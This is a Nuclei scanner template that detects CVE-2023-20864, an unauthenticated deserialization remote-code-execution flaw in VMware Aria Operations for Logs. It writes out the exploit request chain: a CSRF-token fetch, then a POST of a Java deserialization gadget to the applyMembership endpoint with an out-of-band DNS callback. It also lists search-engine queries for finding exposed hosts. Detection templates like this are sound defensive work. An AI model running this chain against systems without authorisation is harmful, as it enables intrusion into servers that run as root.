CVE-2023-20864: VMware Aria Operations for Logs - Unauthenticated Remote Code Execution

id: CVE-2023-20864

info:
  name: VMware Aria Operations for Logs - Unauthenticated Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    VMware Aria Operations for Logs contains a deserialization vulnerability. An unauthenticated, malicious actor with network access to VMware Aria Operations for Logs may be able to execute arbitrary code as root.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2023-0007.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-20864
    - https://github.com/Threekiii/CVE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-20864
    cwe-id: CWE-502
    epss-score: 0.70423
    epss-percentile: 0.99354
    cpe: cpe:2.3:a:vmware:aria_operations_for_logs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vmware
    product: aria_operations_for_logs
    shodan-query:
      - title:"vRealize Log Insight"
      - http.title:"vrealize log insight"
    fofa-query: title="vrealize log insight"
    google-query: intitle:"vrealize log insight"
  tags: cve2023,cve,vmware,aria,rce,oast,vuln

http:
  - raw:
      - |
        GET /csrf HTTP/1.1
        Host: {{Hostname}}
        X-Csrf-Token: Fetch
      - |
        POST /api/v2/internal/cluster/applyMembership HTTP/1.1
        Host: {{Hostname}}
        X-CSRF-Token: {{xcsrftoken}}
        Content-type: application/octet-stream

        {{generate_java_gadget("dns", "http://{{interactsh-url}}", "raw")}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '"errorMessage":"Internal error'

    extractors:
      - type: kval
        name: xcsrftoken
        group: 1
        internal: true
        kval:
          - "X_CSRF_Token"
# digest: 4a0a0047304502204f843823d4eab2ae5ebee2a699fda6cf37de2c42fbd64cd1d0b27ec146a3adae022100dbf749c6798a854570198cd7db42beb1e09aa4f40cb691f020d8eacb08106bd7:922c64590222798bb761d5b6d8e72950

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